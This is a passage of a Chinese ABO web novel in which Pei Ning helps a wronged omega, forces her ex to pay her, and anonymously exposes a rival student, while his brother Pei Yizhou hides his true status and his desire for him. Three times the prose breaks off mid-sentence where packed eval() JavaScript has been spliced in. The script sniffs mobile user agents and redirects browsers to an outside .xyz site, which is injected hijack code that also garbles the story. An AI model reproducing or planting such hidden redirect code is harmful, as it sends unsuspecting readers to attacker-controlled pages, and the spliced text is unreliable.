“身上的衣服脏,先别急。”裴亦舟温声道。 他说完,就动作细致地帮裴宁换了身睡衣。 裴宁来宁江之后穿的睡衣也是裴亦舟选的。白色棉质的布料柔软,并没有太多的纹样,只有领口处绣了点橘黄色的花纹,衬托着裴宁睡着的面容,看起来很温馨。 每当裴亦舟的指尖触碰到温热的皮肤,房间里木兰气味的信息素就会更浓一些,但裴宁仍毫无察觉,只觉得周围香香的,很舒服。 裴宁被照顾的妥帖,循着气味的来源,他下意识转过身抓住了裴亦舟的手,像小猫似的拿脸在裴亦舟手心蹭了蹭。 “哥哥,你好香......喜欢。” 裴亦舟动作一滞,旋即又恢复自然。 他帮裴宁盖好被子,检查完第二天的闹钟是否开了,床头的水杯里是否有水,随后关灯,脚步轻轻地离开掩上了门。 次卧浴室的水声哗哗不止,直到二十多分钟后才堪堪停下。 裴亦舟只在腰胯上围了一条浴巾就顶着一身冰凉的水汽走出,他抬眼,却看见裴宁放在桌上的东西里面有一个扎着粉色蝴蝶结的塑料袋。 裴亦舟用两根手指把那玩意拎了起来,塑料袋轻响,里头印着小熊花纹的饼干从这头滑到了那头。 熟悉的信息素。 是那个一靠近裴宁就闻起来像烤焦面包的omega。 发梢末端的水珠滑落,打湿了裴亦舟的肩膀。 他冷嗤一声,直接把袋子丢进了装厨余垃圾的垃圾袋里。 翌日,裴宁要吃早饭的时候才想到那袋饼干。 他扫了眼桌面和橱柜,没发现饼干的踪迹。 “哥哥,你看见我昨天放在桌上那袋饼干了吗?”裴宁问。 一早就在厨房忙活的裴亦舟闻言走出,手里正端着一盘刚烤好的饼干。 那是小猫形状的。 “诶,你怎么突然做起饼干来了?” “昨天桌上的我不小心帮你收拾掉了,我想着你可能还想吃,就做了给你赔个罪。”裴亦舟面上带着歉意给裴宁装饼干。 裴宁哪里会生气:“这算什么事,哥哥你别太累了,白天还要去公司吧,等会儿路上注意安全。” “妈妈还担心我在宁江过得不好,有你在我怎么会吃苦,就是享福来了。”裴宁说着就拿出手机开始对小猫饼干360°无死角地拍照。 “嗯,我知道,到了公司给你发消息,”裴亦舟把饼干递到裴宁手里,揉了揉他的头,“谢谢小宁夸奖了。” 裴宁显摆似的发了朋友圈,很快引来一众好友的哀嚎。 【我天,有哥哥的都这么爽吗,上班上学还不忘搞烘焙,求教程。。】 【谁能把我哥从alpha变性成omega,求教程+1】 【我们裴宁就是不一样哈,去了宁江照样吃香的喝辣的,你哥的手艺下次让我们也尝尝呗】 裴宁快速略过上面的几条评论,只回复了最后一条。 【想得美[微笑]】 至于吃香的喝辣的.....其实真没有,毕竟不是谁都能忍受生物医学非人的折磨。 裴宁白天靠那饼干续命,下午课一上完就出了校门。 他这人做事不爱墨迹,昨天在得知徐成如的作案动机后,裴宁当即找上了学校里的“小灵通”打听消息。 “小灵通”嘛,什么犄角旮旯的消息都能找到,裴宁的钱到位了,消息自然也就到位了。 所以裴宁最后不仅知道了对方的大致信息,还拿到了联系方式。那个omega叫方妍,是隔壁财经大学的大二学生。 裴宁加上方妍后直接表明来意,并和她约好了要在财经大学附近的咖啡厅见面。 甫一见面,方妍看起来惶恐不安,她下意识用薄薄的外套裹紧了自己,像是怕被人发现什么。她长得清秀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077741|163406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯文,一看就知道是被家里保护的很好的omega。 裴宁让她不要紧张,又把事情梳理了一遍。 “你......你为什么会知道那么多,”方妍嘴唇动了动,脸色灰败,“他是不是往外说了。” “是不是很多人都知道了,他们是不是都在说我?” 裴宁摇摇头:“没有,是我自己不小心听到的,没有别人议论。况且这件事错不在你。” “我之所以来找你,是因为他不仅伤害过你,还准备传谣言伤害我的朋友。”未免节外生枝,裴宁模糊了裴亦舟的身份。 方妍低着头,怯怯的,身上的颓丧之意却溢于言表。 她还那么年轻,就因为遇人不淑受到这样大的伤害,她的学业声誉身体,都将因此遭到巨大冲击。偏偏她曾经视为亲密伴侣的徐成如毫不在意,只一心想要她去引产,好快点甩掉这个麻烦。 她也曾想要下定决心想去报复,但终究还是缺少了勇气。 “那你想怎么样?”她问。 裴宁身上没有信息素的气味,很干净,不会给人带来压迫感。 他比约定时间到的更早,提前为方妍点好了蛋糕和饮品,话语克制,没有一点冒犯,这让方妍的心理防线不知不觉降低了许多。 裴宁问:“现在你还喜欢他吗,如果你想要报复的话,我可以帮忙。” “我......我不喜欢他了。但我不敢,我害怕他鱼死网破,我还要读书,而且爸爸妈妈知道一定会很生气的......。”方妍说着红了眼眶。 大概是因为胎儿月份还小,方妍因为害怕到现在都没把实情告诉父母。 裴宁把侍者刚端来的热牛奶推到她面前,温声说:“你不要害怕,我有一个想法,既然他想用舆论毁掉一个人,那我也可以回敬他。我希望你能提供一些徐成如品行不端的证据,不用担心,不论如何,这个过程中我都会保护好你的个人信息。他最近正在评优选导师,所以肯定不会对你怎么样,除非他真的想要被退学。” “如果他想要给你钱,你就心安理得收下,因为那些都是他本应该提供的赔偿,你要让他备注自愿赠与,然后和他彻底断干净。” 裴宁拿出一张名片递到omega面前,上面是一家宁江知名的私人医院。 “我帮你打过招呼,这家医院的医生都很好。但我帮助你的前提是:这件事你必须告诉你的父母。” 裴宁还说了很多,语气一直很温和耐心,给足方妍考虑空间。 话音落下,方妍泪眼朦胧地抬起头。 她看着裴宁,其实不解:“为什么你要帮我这么多......” 她的恋人不负责任,毫无顾忌地伤害她,但眼前这个陌生人却真心实意地想要帮她。真的好奇怪,世界为什么是这样的? 裴宁微笑:“我不只是在帮你,我也在保护我想保护的人啊。而且你还那么年轻,未来还有很长的路呢。” “姐姐,以后一定要保护好自己啊,希望你一切顺利。” omega都应该被好好保护,这是裴宁在裴亦舟那自动养成的原则。如果他做一些小事就能帮到这个omega,那他将会很乐意那么去做。 裴宁时常喜欢换位思考。如果眼前的omega能遇到帮助他的人,如果未来哥哥遇到什么麻烦,如果自己那个时候不在他的身边,裴宁希望也有人能帮他一把。 裴宁离开时提前买了单,方妍则在沙发上呆呆地坐了好久。 窗外下起了雨,这在天气预报的意料之外。方妍看着咖啡厅外来来往往的行人,掌心抵上玻璃,雾气氤氲,她登时被凉得一哆嗦。 这场雨不大,但很密。一转眼,玻璃就被密匝匝的雨滴打湿,水雾凝结成水珠,滚了下来,像眼泪似的。 不知道是被哪一个瞬间触动,方妍骤然下定了决心。她深吸一口气,拿出手机,拨通了妈妈的电话。 如海潮般的委屈撞得她鼻腔发酸,哽咽声几乎从喉咙最深处被挤出来:“妈妈,我在宁江出了点事......你能不能,来陪陪我。” 12. 自愿赠与 那一通电话之后,方妍下定了决心。 事实说明,omega真正狠起来也不比alpha差多少。 方妍收起情绪,把两个人从认识到恋爱的聊天记录精简了一份发给裴宁,另外还有她的孕检报告,徐成如推卸责任的短信和还有二人吵架的电话录音。 条理清晰,证据有力。 “哇塞,好厉害。”裴宁看呆了,心中的佩服之情油然而生。 他这么想,也就这么说了。 【古德猫宁:姐姐你好厉害,你有这样的行动力做什么都会成功的!】 【古德猫宁:小猫崇拜眨眼睛.jpg】 方妍表示这是小意思,她也算想通了,现在就在学校等父母来找她,然后引产,修养好开启新生活。 裴宁也不墨迹,第二天下课就把徐成如堵住了。 “裴宁?你、你找我什么事。”徐成如猛地被拦住,结巴了一下。 “没什么,有空么,我们来聊聊你什么时候生二胎怎么样?” 徐成如脸色一变:“你什么意思?” “没什么意思,你不都知道了么,”裴宁转身就走,“走吧,换个地方说话。” 徐成如面色铁青,一路跟着裴宁,最后进了一个没有监控的教室。 “你叫我来到底想说什么。”徐成如一路上做足了心理建设,这会儿已经冷静不少。 他为这次评优做了无数准备,眼看就快要达成目标了,决不能在这个时候毁于一旦。 但裴宁一句话又打破了他的防线。 “邱方明让你对付裴亦舟,你准备怎么做?”裴宁抱臂看着他,平时的柔软褪去,眼神冰冷。 徐成如背后一凛,当即想走,但裴宁快他一步一脚踹上了门,根本没给人逃走的余地。 “你说什么,我听不懂,莫名其妙把我堵在这里到底想干嘛!你信不信我去告诉辅导员!”徐成如大吼。 裴宁:“那你去啊,正好我这也有点东西给辅导员看。你让omega怀孕,之后又不负责任,我记得这是犯法的吧?” “我们俩去导员那比比,看谁更厉害怎么样?” “......”裴宁一张嘴就让徐成如一口气噎在喉咙那不上不下,他瞪眼看去:“你见过方妍?什么时候的事,你到底想干什么?” 裴宁不答反问:“邱方明给你的钱到手了吗?” “......到了。” “他给了你多少。” 徐成如迟疑了一下:“八万。” 裴宁哼笑,徐成如还没反应过来,就被裴宁按着手臂反拧在了墙上。裴宁这一手擒拿是和部队里退伍的士兵学的,标准干净,没有一点多余的动作,徐成如躲都没法躲。 老旧的墙皮被撞击地簌簌往下掉,粉白的灰尘全部掉进了徐成如眼里,他顿时泪流满面,挣扎不已。 “我再问一遍,多少?” 徐成如吃痛,倒吸一口凉气:“十五万!十五万!!我没说谎了,就这么多!你放开我!” 就给了十五万还想吞掉一半,该说这人是畜生呢还是畜生呢? 察觉到裴宁没有松手的倾向,徐成如摇着头喊:“你要我做什么啊?” “很简单,你现在把这些钱全部给方妍我就放开你怎么样?反正这也是你欠她的,那些钱本就该给她。” 裴宁手上一用劲,徐成如更是痛呼不已,他心里头痛得滴血,但一想到自己的评优,又不敢不听从。 他这人好面子的不行,当机立断:“我转!我转!我现在就转!” 裴宁松开手,站在徐成如身后,看着他掏出手机开始颤颤地转账。 五万元为一笔,一共三笔,他转了过去,结果没一会儿方妍又退了回来。 “你看你看!”徐成如把手机举到裴宁面前,面色通红,“是她自己不要的啊,不是我不给啊。” 裴宁偏头,点了点他的手机,贴心提示:“每笔转账都备注好自愿赠与,现在,重转。” 听到他的话语,徐成如脸色都崩开了,基本的仪态都维持不住。 这人怎么这么精?自己现在都和方妍闹掰了,那这些钱以后不久铁定拿不回来了吗? 他恨恨地看了裴宁一眼,在裴宁耐心告罄之前,还是一脸不情愿地把那几个让他肉疼的字打了上去,重新转账。 这次方妍全收了。而且是秒收。 之后徐成如还想发信息,手机上就骤然跳出了一个鲜红的感叹号。 他被拉黑了。 徐成如的三叉神经狂跳,他绕开裴宁想要出门,但还没踏出一步,就又被裴宁伸手拦住。 “你还要干什么?!!”徐成如真是怕了这个祖宗了。 要不是自己的把柄被他捏在手里,现在,现在他一定要......徐成如仰头,看着比他更高更强壮的裴宁咽了口口水。 靠,他就是恨也打不过!该死! “我说让你走了么,这只是一件事,我们的账还没算完呢。”裴宁冷眼睨他,“邱方明怎么吩咐你的,准备让你发裴亦舟的什么,现在拿出来。还有你那个校园墙的微/信号,现在也给我拿出来。” 裴宁话说的很不客气,低头看人的时候眼神肃冷,一点也不像平时那副好说话的样子。徐成如明明是个alpha,却被他压得喘不过气来。 他倒也试着悄悄放过信息素,但后来连他的腺体都开始发烫了,裴宁却愣是一点反应都没有。 这人是变态吗? 方妍的事情还好说,但要是邱方明要求的事情他没办妥,那该怎么办?这种富家少爷发起威来哪是自己能承受得住的? “不拿是吗,那我马上把信息发给导员。”裴宁有条不紊地打开了手机通讯界面,辅导员的号码就明晃晃地躺在上面。 “我给你我给你!”徐成如急了,到底还是在权衡利弊下选择了先解决眼前的困境。 他拿出手机,上头是已经编好的文字,字眼夸张露骨,下面还附带着几张照片。 裴宁放眼扫去,相册里有许多暴露的裸/照,它们只露出了腰和大腿的部位,不算清晰,看起来模棱两可,让人说不准这到底来自谁。 “这些照片哪来的?”裴宁一脚踹在徐成如的小腿上,徐成如一下没站住,直接跪了下去。 “网上找的!都是网上找来的,不、不是裴亦舟的。” 除此之外还有一张是借位图,里头是裴亦舟和一位穿着斯文的男士,他们头挨得很近,不注意看就像是在接吻。 “这是谁?”裴宁又指着那个人问。 徐成如不敢说谎:“是,是他的导师,一个alpha。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077742|163406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那这照片你是哪来的?” “......偷拍的,”徐成如嗫嚅道,随后他又保证,“但是就这一张啊,我没给别人看过!” 原来是这样么,怪不得。 老师和学生,omega和alpha,无人的办公室,虚假亲密的动作,种种禁忌刺激的词眼放在一块儿,确实可以引起轩然大波。 裴宁没犹豫,记录下证据,然后把那些照片信息删了个底儿掉,随后他还飞快地改绑了那个校园墙的电话号。 做完一切之后他将手机抛了回去,没多废话,直接离开了教室。 徐成如脱力坐下,后背上汗湿一片。 艹!这都是什么事!! 出了教室门的裴宁心情不错,他看了眼方妍发来的感谢,颇有兴致的敲字回消息,但一想到那张借位的照片,又有种说不出的不舒服。 真是奇了怪了,都知道那是假的,到底有什么好计较的? 他甩了甩头,抛开乱七八糟的思绪,准备前往小乐团开始第一次训练。 但他刚进门,就见到了一个意料之外的人——邱方明。 他怎么在这? 团内人都到基本齐了,入口处贴着名单,裴宁走近看了一眼,很快发现之前被选上的一个人不在这了。 呵,邱方明这人还是一如既往地让人讨厌,做什么事情都不择手段。 邱方明看了眼裴宁,面上不显,眼底还是有些挑衅意味。 裴宁若有所思,原本他还觉得只收拾徐成如一个不够,正好现在邱方明也爱翘尾巴,那不如索性一块儿了。 * 大概是因为下雨,傍晚天色落得很早,整片天被阴云覆盖,黑沉沉的。 裴亦舟撑着一柄黑伞,半弯腰坐进了宾利的后座,外头有人帮他收起伞,全程没有一点雨丝落到他身上。 “叫我来做什么。”裴亦舟语气冷淡。 后座另一边的男人沉声笑了:“许久不见你,想来看看。” “我们没必要多见。” “是吗?”中年男人侧过头,从一旁拿出了一个金属箱子,“听说你之前的药效力不佳了,这是新研发出来的,记得换成这个。” 他语气体贴不乏关心,不知道的还以为他和裴亦舟有多亲近。 裴亦舟却懒得和他演戏,直接撕破了两人之间心照不宣的那层幕布,“想让我当试验品就直说,不用装模作样。” 他说完就直接推开了车门准备起身,车内的男人面不改色,仍是微笑:“药我会让人送过去,亦舟,照顾好自己。” “虚伪。”裴亦舟扔下两个字眼,没接保镖的伞,直接走进了雨幕。 等他离开后,车内的男人骤然变了一幅面孔,微笑消失不见,眼角眉梢都透着冰冷的危险。 “先生,您之前要求我们监视裴宁,但......他身边人不少,我们能得到的信息有限。”前座的助理低头说。 “意料之中,”男人慢悠悠剪了一根雪茄,“那不过是个小孩子,无伤大雅,亦舟要是宝贝,那就随他去吧。” “这孩子,越长大越不懂事啊,以后要吃亏的。” 停在路边的黑色宾利缓缓驶离,只留下一道被雨水灌透的车辙。 几秒之后,路面恢复如常,仿佛从来没有人从这里经过。 13. 墙墙不负责的~ 雨越下越大,裴亦舟身上的衣服湿透了,而这时裴宁打来电话,问他在哪。 “还在公司,今天有点事情,可能会晚点回来。”裴亦舟语气如常,“家里门窗记得关好,晚上凉的话多加一件衣服,当心感冒。” 裴宁嗯嗯说好,随后不忘嘱咐哥哥回家记得注意安全,如果察觉什么不对,譬如有人尾随的话要马上报警。 裴亦舟应下,挂断了电话。 不知道是不是错觉,自从暑假那会儿开始,裴宁就格外注重自己的安全问题。虽然以前裴宁也会提,但没现在那么频繁。 是因为觉得他是omega,所以担心他在外面受委屈吗? 裴亦舟的镜片上满是水滴,他低头看了眼湿淋淋的衣袖,唇角微扬。 他觉得自己确实是恶劣的,明明不需要那么多的保护和关爱,却偏偏要去演,去骗,让裴宁心疼,让他移不开眼。而只有那种时刻,他才会久违地感受到满足——既然已经这样了,那就继续恶劣下去吧。 “哗——” 远处的雨幕被强光冲开,一辆张扬惹眼的柯尼塞格驶来,转弯时轮胎摩擦地面,溅起了一人高的水花,最后又像是炫技一般漂移,悠悠地在裴亦舟面前停下。 车窗降下,驾驶座的男人絮絮叨叨:“你愣着干什么,上车啊,你看看你,都湿透了。这天气也真是不巧,雨大的路都看不清了。” 裴亦舟不答,湿淋淋地上了副驾。而此行最终的目的地,就是上次他度过易感期的那座私人会所。 会所里没什么人,灯光颜色偏深,有一种昏暗感。男人大步走在前头,打开嵌在墙上的酒柜,随手从里面拿了几瓶。他做派奢侈,手中的酒各个价值不菲,随意拎出来一个都贵的令人咋舌。 “我说你怎么搞得跟个落汤鸡似的,忒狼狈了吧。”男人眉梢高抬调侃着说。他倒也算体贴,还叫人给裴亦舟拿了壶热茶来。 裴亦舟脱下身上湿透的衣服,露出精壮的躯体,“裴江,你真的很闲?” 裴江,也就是接裴亦舟来这的男人哼了声:“没大没小的,叫二叔知不知道。”他是裴亦舟父亲同父同母的亲兄弟,也是裴亦舟血缘意义上的亲二叔。 但裴亦舟压根没打算叫,直接略过他擦干了身上的水珠,将毛巾甩上椅背后套了身干爽的衣服。他现在换的那套和早上出门穿的别无二致,这样等会儿回去裴宁才看不出什么异样。 裴江一眼就看出了他的小九九:“呦呦,挺全套的嘛,这会儿知道要装好哥哥了?在我面前怎么不装一下呢。” 习惯了他这副不着调的样子,裴亦舟没多搭理,直接反手揭开后颈的阻隔贴。 信息素蠢蠢欲动要往外逸散,裴江登时如临大敌般往后退了一步,动作熟练地抽卡茶几的抽屉,从里面掏出了一瓶阻隔喷雾。他只是个omega,可遭不住裴亦舟的信息素。 “你干什么?” “没什么,换一张。” “你这信息素也太不稳了吧,最近情况怎么样?” “老样子,”裴亦舟不以为意,很快地换了张新的,“今天见过他了,给我送了新药。” “......他来宁江了啊,”裴江一愣,随后咋舌,“那你注意安全,唉,我也得要少见见你了。” “随你。” “我说你这omega得装到什么时候,你分化到现在也快七年了吧,每次一到易感期都打针,平时也吃药,alpha的omega的混着乱来,腺体数值跟那过山车一样,这真没事?”出事是板上钉钉的啊,也就早晚的分别。裴江话没说全,留了一半。 裴亦舟不言,目光却落到了远处,良久,他坐在沙发上拨了电话。 “给谁打啊?”裴江问。 裴亦舟瞥了他一眼:“你的人。”电话那头是他安排留在裴宁身边的人。 热茶下肚,滚烫的温度几乎降先前微冷的水汽灼烧干净,裴亦舟面不改色,事无巨细地把裴宁最近的行程都问了个遍。 手机摆在茶几上,他开的外放,裴江也听得见。 “见怀孕的omega,给人安排医院,空教室揍alpha还一点伤没有全身而退。看不出嘛,你这弟弟挺狂野的。”裴江啧啧称奇。 裴亦舟垂眼,长而密的眼睫低落。 他问:“那个alpha叫什么名字。” “徐成如。” 裴亦舟想了想,原来是偷拍他那个alpha。 那天他离开之后陈散查了监控,走廊上的监控前不久由他先生出资全部换了一遍,不再是以前那些老掉牙的古董,而是360°高清4k的旋转摄像头,这下谁在外面被陈散看得一清二楚。 陈散问他要不要处理,裴亦舟当时按下不表,准备回头再说,没想到裴宁一转眼就把人收拾了。 无冤无仇,裴宁针对这个alpha干什么?裴亦舟脑子比谁都灵光,其中关窍一想就通。 自己这是在被保护呢。该说他们不愧是兄弟吗,连私底下做的事都心照不宣的相近。 “咦,你怎么笑成这样。”裴江看着裴亦舟嘴角的笑,鸡皮疙瘩起了一身。 “我在笑吗?”裴亦舟抬起头,眼底欲色涌动,“啊,原来我在笑啊。” 裴江像是看出了什么,几根神经都像触电了一样抽了抽。嘶......这可不大对劲啊。 他深觉自己触及到了大侄子的小秘密,忙不迭地挥手:“你没事就赶紧回去吧,我这庙小,可容不下你这尊大佛。” 裴亦舟对他在想什么心知肚明,走得倒也利落。 包厢的门重重关上,裴江舒出一口气,呢喃道:“真是禽兽呐,自己弟弟也下得去手。” 到晚上,这场雨反倒停了。 裴宁守在客厅等裴亦舟回来,一听到门铃声就蹦跶了出去。 “终于回来了,你再不回来我可要急死了。”裴宁脸都皱成一团了。 裴亦舟把回来路上买的小蛋糕递了过去:“下次别等到这么晚了,白天上课那么累,晚上回来了就早点休息吧。” “你不回来我不放心嘛,还是得看到人我才能睡得着。” 裴亦舟调侃他:“那是谁之前在沙发上睡得昏天黑地的?” 裴宁投降:“那天真的太累了,我扛不住了,一进门就觉得眼前一黑,咔嚓一下就睡着了。” 裴亦舟的神情变得柔和:“其实你完全可以选择更轻松的专业。” “算了吧,那些太无趣了,我还是喜欢有挑战性一点的事情。”裴宁撇嘴。 裴松墨对他没有太大的期许,反正裴宁不论做什么都有家里给他托底。不论他以后怎么选择,路都不会差。正是因为这样的缘故,裴宁才有底气什么都敢去做,什么都想尝试。 裴亦舟何尝不知道他的性子,也没多说,只是笑了笑。 他低头的时候,一股很淡的信息素气味飘了上来。这味道来自一个陌生的alpha,是谁已然不用多言。 在裴宁看不到的地方,裴亦舟神色微沉。 每天不是omega就是alpha,裴宁身上总会有各种各样的气味。那些气味让裴亦舟心烦,也让他本就不稳定的信息素愈发涌动。 “诶,我怎么感觉哥哥你的信息素味今天格外浓,是错觉吗?”裴宁蹙眉。 他闻不到别人的气味,因此所有敏感的指向对象就只剩裴亦舟一个。 裴亦舟神色不变:“阻隔贴太久没换了而已,没什么大事。” 其实不久前刚换,但那点阻隔作用实在微末,压根拦不住他的信息素,真要想彻底压下去,还是得吃药。 “哦哦好,那我先进去洗澡啦,你等下也早点休息,冰箱里还有一个三明治,哥哥你要是饿的话热一下就好啦。”裴宁哼着歌走进浴室,睡衣却落在了外面。 裴亦舟瞧见,垂在腿侧的手指微曲。半晌,他把那套睡衣拿了起来。 不知是故意还是无意,他的信息素浓度又高了些,大概是距离太近,就连裴宁的睡衣都沾上了他的味道。 “叩叩”裴亦舟敲了浴室的门。 裴宁正在洗头,眼前一片迷蒙:“哥哥怎么啦?” “你睡衣忘记拿了,我帮你放一下。” “好啊,就放里面凳子上吧。”凳子离门近,裴宁想着裴亦舟应该够的到,于是又转过身去揉搓头上的泡沫。 裴亦舟右手拿着睡衣,原本只将那一只手伸进了浴室。他以为裴宁会来接,但过了一会儿,仍没有人靠近。 “小宁?” 他的声音完全被水声覆盖,裴宁自己还哼着歌,无所察觉,因而没有回头。 手上温度升高,裴亦舟心念一动,缓缓推开了浴室的门。 这间公寓的面积不小,浴室也宽敞,布局简单,没有那么多弯弯绕绕。所以裴亦舟一进门,直面着的就是裴宁赤裸的背影。 浴室里,潮湿的水汽爬满了玻璃,深深浅浅没有规律,只留下几个缺口,半遮半掩地展示着青年人健康的身体。 裴亦舟没有多看,但哪怕只是匆匆一瞥,他都清楚地记下了玻璃背后身影的每一处细节。 宽阔但不过分夸张的肩膀,流畅好看的背肌线条,自上而下倏然收束的腰线,还有饱满的臀部。裴宁真的很白,身上没有一点瑕疵,像是一块完美的玉石,不经雕琢,浑然天成。 裴亦舟屏着呼吸闭上眼,悄无声息地退出了浴室。 早已有了反应的下身此时硬的发痛,薄薄的布料在此时已经不构成束缚,它明显的过分。 像是瞧不上自己的德行,裴亦舟笑了声,随后推开了次卧的门。 两道水声一同响起,一冷一热,却夹杂着全然不同的情感。 裴宁这一晚伴着哥哥浓郁的信息素睡得格外沉,但不知为何,他却做了一个很奇怪的梦。 梦里灰白一片,他甚至感受不到自己的存在,唯一能觉察的,只有面前缓慢淌过的如同碎片一样的画面。 雨天、黑色西装、山坡。 眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077743|163406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的道路是泥泞的,一个人走在上面,撑着一把黑伞,只留下一道背影。 裴宁看不清他的脸,却莫名觉得这个人看起来很熟悉。 是谁? 梦中人一直往山上走,直到一处空地才停下脚步。 那里有什么?裴宁还是看不清。 几乎是有点恼怒的,裴宁想要往前跑两步,但这时他却觉得身上如有千斤,怎么努力也动不了。四肢不听使唤,像是被灌满了铅水,只能沉沉地往下坠。 窒息感逐渐上涌,裴宁瞪大了眼,不知所措。 而这时,撑伞的西装男人在落雨声中缓缓低下头。 全然是下意识的,裴宁猛地抬头,而就在他快要看清那张脸的时刻,他听见—— “裴宁!” “小宁,你醒醒,怎么了,做噩梦了吗?” 裴宁蓦地睁开眼,面前是裴亦舟充满担忧的面庞。 “哥哥,”裴宁的意识慢了半拍,他愣愣地问,“你怎么在我房间?” 裴亦舟见他醒了,松了一口气:“我做早餐的时候听见你闹钟一直在响,就着进来看看,你那时候看起来像是做了噩梦,怎么也叫不醒。现在怎么样了,有没有哪里不舒服?” “啊,是吗,可能是最近太累了吧,哥哥你别担心,”裴宁敲了下自己的脑袋,昏沉被敲走了些许,“我没事的,洗漱一下就好了。” 可直到走进卫生间裴宁还没从那个单调的梦里缓过神。只有黑白灰的梦实在少见,裴宁回味了一会儿,等到那股劲过去才将一把冷水泼到脸上。 梦境被暂时冲淡,裴宁双脚触地,落在了现实里。 现在可不是磨蹭的时候,他今天还有大事要做呢! 在看见邱方明挤走乐团的人后,裴宁就开始着手查他的消息。虽说爸妈都在枫京,但想要知道邱方明这个人的信息,对裴宁而言也不是什么难事。 而这一扒,裴宁果然又扒出许多猛料。其中有一点太过恶劣,裴宁琢磨了好久才想到妥善的处理方式。 他是要报复,但也不能全无理智,抛弃道德,不然他和邱方明之流又有什么区别。 从看到《绝对占有》剧情的那一刻起,裴宁心里就憋着一股气,到了现在,他索性以其人之道还治其人之身,让邱方明也试试舆论攻击的滋味。 裴宁将自己捯饬好,登上了那个换绑来的校园墙。他一拉好友列表,好家伙,九千多个人,那影响范围可够广了。 早上去学校裴亦舟开了车,裴宁坐在后座,指尖飞快落下,编辑了一条朋友圈。 【投稿:墙墙,我听说这届大一新生里面有一个大少爷,他好像家里很有钱,所以就故意抢其他人的社团名额去加分[哭哭],之前有一次我在校外看见他和他的跟班,他们好像围着揍了一个人,还在说要去吸du什么的......这样的人真的好可怕哦,学校能管吗[可怜]】 这条朋友圈发出去没多久,评论区就炸开了锅。 【求解码[耳朵]】 【我有一个朋友想知道他是谁,能解码吗?】 【呃这种是能说的吗,这个大少爷我好像认识诶,拽得不行。。他手下跟班也老是欺负人TvT】 【上次在食堂里看见他调戏o,但是不知道是不是一个人,我随便说的(逃走)】 裴宁不厌其烦地把其他人的评论复制又发了一遍,顺便夹带了一些私货。 【其他的不说,要是他真的吸du的话......学校管吗?这犯法啊,宁大不前段时间还在严禁黄赌毒嘛,完全是在打学校的脸啊。】 【普通学生没惹,请不要让我们成为富家公子娱乐的一环,我就是个穷读书的】 【管管吧[祈祷]】 【管管吧+1】 八卦是人类的第一生产力,很快,这条朋友圈底下就起了长楼。 一个学校的校园墙能产生的力量其实并不小,毕竟躺在列表里的不一定只有学生,可能还有老师。 果然,不出裴宁所料,没多久就有一个头像上画着国旗的人找了过来。 【天行健:同学,我想请问你发的那条朋友圈情况属实吗?】 【宁江大学校园墙(新生扩列版):墙墙也不知道,这种都是他人投稿,墙墙不负责的~】 裴宁连夜琢磨钻研,把校园墙的语气学了个十足十的像。 【天行健:好的,那请问这个投稿内容中的学生是谁,我是宁江大学教务处的老师,这件事情影响不小,我们需要核实一下。如果确有其事的话,我们会着手处理,以免引起学生恐慌。】 裴宁见状嘴角上扬,打字的手不慌不忙。 【宁江大学校园墙(新生扩列版):墙墙说了的话会怎么样啊,墙墙不清楚真相的,只是搬运工哇[哭哭]】 【天行健:同学请放心,不会影响到你的。】 【宁江大学校园墙(新生扩列版):好的老师,其实墙墙也是猜的,但是如果没错的话,这位新生应该叫,邱方明。】 14. 那你猜猜 这件事的舆论影响比裴宁想象的更大。 也许是时间不巧,宁江大学半个月之前还刚开过大学生禁毒讲座,当时学校发了公众号做宣传,拉的横幅到现在还没收起来,邱方明这下也算是撞在枪口上。 这事对裴宁来说其实还算意外发现。他原本只是托人打探邱方明最近的行踪,想看看他还有没有干别的欺a霸o的坏事,谁知道一个夜总会的服务生在利诱之下说漏了嘴,斩钉截铁地说之前有一次往包厢里送酒的时候见过邱方明他们围在一起打针嗑药。 不仅如此,裴宁顺藤摸瓜找下去,还发现了更铁的证据。 那天有个参与者觉得这事很酷,加料的时候拍了照片,将在场所有人都照了进去。不仅如此,事后他还专门发到了外网上晒,那照片可没打码,里头有谁有什么东西都一目了然。 《绝对占有》原书篇幅有限,大多笔墨都用来描绘了裴亦舟的形象,压根没提过邱方明还碰毒。要是裴宁早知道,那哪还用得着兜这么大一个圈。 其他一些小事可能对邱方明这少爷的影响还不大,但这件事却不一样,就算邱家出手帮忙他也很难全身而退。校方哪怕只是为了学校声誉考虑,也要妥善处理。 裴宁和往日一样照常上学,下课间隙同学们围在一块儿说起了小话。 有个omega神神秘秘:“校园墙上那事你们都看到了吧?刚才我听朋友说邱方明的哥哥都来了,就想着用钱解决一下呢。” “啊,他哥哥,那不是邱氏的老总吗!” 